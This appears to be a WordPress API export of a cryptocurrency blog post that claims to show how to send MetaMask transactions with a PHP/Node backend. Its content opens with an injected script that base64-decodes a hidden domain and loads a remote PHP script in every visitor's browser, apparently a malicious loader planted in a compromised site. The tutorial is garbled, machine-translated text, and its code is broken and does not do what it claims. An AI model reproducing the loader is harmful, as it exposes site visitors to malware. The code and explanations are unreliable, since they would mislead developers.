{"id":9951,"date":"2025-02-11T05:09:05","date_gmt":"2025-02-11T05:09:05","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9951"},"modified":"2025-02-11T05:09:05","modified_gmt":"2025-02-11T05:09:05","slug":"metamask-send-transaction-to-other-wallet","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9951","title":{"rendered":"Metamask: Send transaction to other wallet"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=874827c8\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here&#8217;s the primer of the state, the indiabrising, how to send the transaction from the Metamask Koshka, Uspolza Backend Node.js with API METAMASK:<\/p>\n<\/p>\n<p><strong> Metamask transaction, leaving with Backend PHP and node.js <\/strong><\/p>\n<\/p>\n<p>In this state, we dissatisfied with the simple API on the background of your node.js, which allows you to send transaction from the Koshka Metamask to the other Koshelki.<\/p>\n<\/p>\n<p><strong> PROPOSE: <\/strong><\/p>\n<\/p>\n<ul>\n<li>Install node.js and metamask on your computer.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Install the local midst for PHP (for example, laravel or Express).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Submit the coded record with Metamask to check the API.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Project structure: <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/KDoa1kWjeDY\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Metamask: Send transaction to other wallet\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/64aca91c.png\"><\/p>\n<\/p>\n<p>`<code><\/code>Bash<\/p>\n<\/p>\n<p>Metamask-API\/<\/p>\n<\/p>\n<p>app.php<\/p>\n<\/p>\n<p>Configuration\/<\/p>\n<\/p>\n<p>Database.php<\/p>\n<\/p>\n<p>Public\/<\/p>\n<\/p>\n<p>Controllers\/<\/p>\n<\/p>\n<p>Index.php<\/p>\n<\/p>\n<p>SUGHTS\/<\/p>\n<\/p>\n<p>Transactionservice.php<\/p>\n<\/p>\n<p>routes\/<\/p>\n<\/p>\n<p>api.php<\/p>\n<\/p>\n<p>Sales\/<\/p>\n<\/p>\n<p>Autoload.php<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> App.js (Becand -PHP) <\/strong><\/p>\n<\/p>\n<p>`<code>PHP<\/p>\n<\/p>\n<p>Using the consecration \\ luster \\ facades \\ db;<\/p>\n<\/p>\n<p>\/\/ plunge to the database<\/p>\n<\/p>\n<p>$ connection = DB :: Connect ('MySQL', [<\/p>\n<\/p>\n<p>    'Host' => 'Localhost',<\/p>\n<\/p>\n<p>    'User' => 'Your_username',<\/p>\n<\/p>\n<p>    'Password' => 'Your_Password',<\/p>\n<\/p>\n<p>]);<\/p>\n<\/p>\n<p>\/\/ Remove the new transaction service<\/p>\n<\/p>\n<p>Class TransactionService {<\/p>\n<\/p>\n<p>    PUBLIC FUNCTION CREATETRANCTION ($ DATA) {<\/p>\n<\/p>\n<p>        \/\/ Find the entry data<\/p>\n<\/p>\n<p>        IF (! Isset ($ Data ['To']) ||! Isset ($ Data ['Summent'])) {<\/p>\n<\/p>\n<p>            Return the bed;<\/p>\n<\/p>\n<p>        }<\/p>\n<\/p>\n<p>        ask {<\/p>\n<\/p>\n<p>            \/\/ Punish transaction<\/p>\n<\/p>\n<p>            $ result = DB :: INSERT ('transaction', [<\/p>\n<\/p>\n<p>                'User_id' => Auth ()-> ID (),<\/p>\n<\/p>\n<p>                'Wallet_id' => Auth ()-> ID (),<\/p>\n<\/p>\n<p>                'Summ' => Floatval ($ Data ['Summ']),<\/p>\n<\/p>\n<p>                'tx_hash' => Hash ('Sha256', Uniqid ()) \/\/ Creation Unique tx_hash for transaction<\/p>\n<\/p>\n<p>            ]);<\/p>\n<\/p>\n<p>            If ($ result) {<\/p>\n<\/p>\n<p>                Returned Isstin;<\/p>\n<\/p>\n<p>            } still {<\/p>\n<\/p>\n<p>                Baby new exceptions (\"transaction is not successful\");<\/p>\n<\/p>\n<p>            }<\/p>\n<\/p>\n<p>        } Catch (Exception $ E) {<\/p>\n<\/p>\n<p>            Return the bed;<\/p>\n<\/p>\n<p>        }<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>\/\/ Create a new copy transaction service<\/p>\n<\/p>\n<p>$ Transactionservice = New Transactionservice ();<\/p>\n<\/p>\n<p>\/\/ Decrease function of the transaction from the Metamask transaction<\/p>\n<\/p>\n<p>Function Sendtransaction ($ to, $ UMM) {<\/p>\n<\/p>\n<p>    $ Data = [<\/p>\n<\/p>\n<p>        'to' => $ to,<\/p>\n<\/p>\n<p>        'summ' => $ sums<\/p>\n<\/p>\n<p>    ];<\/p>\n<\/p>\n<p>    IF (! $ transactionservice-> Createtransaction ($ Data)) {<\/p>\n<\/p>\n<p>        Return the bed;<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>    \/\/ Returned the isstin to indicate a pre -transaction<\/p>\n<\/p>\n<p>    Returned Isstin;<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Index.php (Control File) <\/strong><\/p>\n<\/p>\n<p>`<code>PHP<\/p>\n<\/p>\n<p>Using the consecration \\ http \\ requestion;<\/p>\n<\/p>\n<p>\/\/ Imperial Entry Published from Metamask<\/p>\n<\/p>\n<p>$ to = Request :: Input ('To');<\/p>\n<\/p>\n<p>$ Summe = Request :: Input ('Sumber');<\/p>\n<\/p>\n<p>if (! Isset ($ to)) {<\/p>\n<\/p>\n<p>    Return Response ()-> JSON (['error' => 'Week for Adres']);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>IF (! Isset ($ Summ)) {<\/p>\n<\/p>\n<p>    Return Response ()-> JSON (['error' => 'Unded sum']);<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>\/\/ Display transaction with SendTransaction Function<\/p>\n<\/p>\n<p>$ Response = Sendtransaction ($ to, $ UMMOR);<\/p>\n<\/p>\n<p>Return Response ()-> JSON ($ Response);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> api.php (route file) <\/strong><\/p>\n<\/p>\n<p>`<code>PHP<\/p>\n<\/p>\n<p>Using the consecration \\ http \\ requestion;<\/p>\n<\/p>\n<p>Using the implementation \\ http \\ controllers \\ transactionservice;<\/p>\n<\/p>\n<p>\/\/ Remove new route for transaction output<\/p>\n<\/p>\n<p>ROUTE :: POST ('\/Sendtransaction', [<\/p>\n<\/p>\n<p>    'NAME' => 'Sendtransaction',<\/p>\n<\/p>\n<p>    'UPOLES' => FUNCTION (requested $ REQUEST) {<\/p>\n<\/p>\n<p>        Return Transactionservice :: Sendtransaction ($ Request-> Input ('To'), $ Request-> Input ('Sumber'));<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>    'Methods' => ['post']<\/p>\n<\/p>\n<p>]);<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Enlightenment: <\/strong><\/p>\n<\/p>\n<ul>\n<li>In the file <code>App.php<\/code> we will defect a new transaction service, use Konteiner Laravel&#8217;s IOC (ELAFENT ORM).<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The method <code>Createtransaction<\/code> runs the entrance and the transaction in the database.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>In the function of <code>Sendtransaction<\/code> we make the devices of the Metamask Koshka and the summary of the parameters. Zatem we call the &#8220;Createransaction&#8221; method of our transaction service for transaction.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Again, in the route file <code>\/API\/Sendtransaction<\/code> We will raise a new route for transaction transaction from the Laravel route.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/promoneum.com\/solana-how-are-solana-fees-used-to-prioritise-transactions\/\">Solana Solana Fees Prioritise<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here&#8217;s the primer of the state, the indiabrising, how to send the transaction from the Metamask Koshka, Uspolza Backend Node.js with API METAMASK: Metamask transaction, leaving<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9951","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9951","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9951"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9951\/revisions"}],"predecessor-version":[{"id":9952,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9951\/revisions\/9952"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9951"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9951"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9951"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}